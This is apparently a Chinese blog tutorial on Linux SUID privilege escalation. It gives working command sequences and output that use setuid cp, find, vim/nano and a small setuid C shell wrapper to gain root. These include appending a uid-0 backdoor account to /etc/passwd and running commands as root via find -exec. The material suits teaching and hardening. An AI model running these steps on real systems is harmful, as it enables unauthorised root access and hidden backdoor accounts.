我之前写过一篇 文件权限与ACL 的文章,提到过了权限也提到了s权限位。对s权限没有了解的可以先看下这篇内容。本篇要提到的为root用户的suid,具体可以看下passwd命令对应的权限。如果一些命令给了s权限位以后,是可以进行提权操作。可使用如下命令以root用户执行查看当前具有s权限位的文件:
find / -perm -u=s -type f 2>/dev/null
一、cp suid 示例
给 cp命令suid:
[root@361way ~]# whereis cp cp: /usr/bin/cp /bin/cp /usr/share/man/man1/cp.1.gz /usr/share/man/man1p/cp.1p.gz [root@361way ~]# ll /usr/bin/cp -rwxr-xr-x 1 root root 151136 Aug 6 2016 /usr/bin/cp [root@361way ~]# chmod u+s /bin/cp
普通用户提权:
[zabbix@localhost ~]$ cat /etc/passwd >passwd [zabbix@localhost ~]$ openssl passwd -1 -salt hack hack123 $1$hack$WTn0dk2QjNeKfl.DHOUue0 [zabbix@localhost ~]$ echo 'hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash' >> passwd [zabbix@localhost ~]$ cp passwd /etc/passwd [zabbix@localhost ~]$ su - hack Password: [root@361way ~]# id uid=0(hack) gid=0(root) groups=0(root) [root@361way ~]# cat /etc/passwd|tail -1 hack:$1$hack$WTn0dk2QjNeKfl.DHOUue0:0:0::/root/:/bin/bash
同样的给awk、sed这类具有写文件权限的命令以suid权限,都可以造成提权。
二、find suid
给find命令提权后,可以利用其exec参数以root权限执行任意命令:
[root@361way ~]# which find /usr/bin/find [root@361way ~]# ll /usr/bin/find -rwxr-xr-x. 1 root root 199200 Nov 20 2015 /usr/bin/find [root@361way ~]# chmod u+s /usr/bin/find [root@361way ~]# su - zabbix [zabbix@361way ~]$ ll total 8720 -rw-r--r-- 1 zabbix zabbix 3006 Jan 2 15:00 passwd -rw-r--r-- 1 tcpdump tcpdump 8924686 Dec 13 16:56 test.cap [zabbix@361way ~]$ find passwd -exec "whoami" \; root [zabbix@361way ~]$ find ./ -name "passwd" -exec "id" \; uid=1003(zabbix) gid=1003(zabbix) euid=0(root) groups=1003(zabbix)
三、编辑器suid权限
linux下常用的编辑器有vim、Emacs、nano 。这里以vim和nano为例吧。
[root@361way tmp]# which vim /usr/bin/vim [root@361way tmp]# ll /usr/bin/vim -rwxr-xr-x 1 root root 2294256 Apr 11 2018 /usr/bin/vim [root@361way tmp]# chmod u+s /usr/bin/vim [root@361way tmp]# su - zabbix [zabbix@361way ~]$ vim /etc/passwd [zabbix@361way ~]$ vim etc/sudoers
给vim suid权限后,意味着任一用户可以以root权限编辑任一文件,linux下本来一切皆文件,实际造成的结果是我们可以为所欲为,修改/etc/passwd,将一个用户提升为root权限,或者新增一个用户,或者修改sudo权限,增加nopasswd all的权限。
nano的效果也是一样的。
四、自定义命令 suid权限
如下一个自定义的C程序,代码如下:
[root@361way tmp]# cat a.c #include <stdio.h> #include <sys/types.h> #include <unistd.h> int main(void) { setuid(0); system("/bin/bash"); return 0; }
执行如下命令进行编译并授权后,直接可以切换root权限:
[root@361way tmp]# gcc -o a a.c [root@361way tmp]# chmod u+s a [root@361way tmp]# su - zabbix [zabbix@361way tmp]$ ./a [root@361way tmp]# id uid=0(root) gid=0(root) groups=0(root)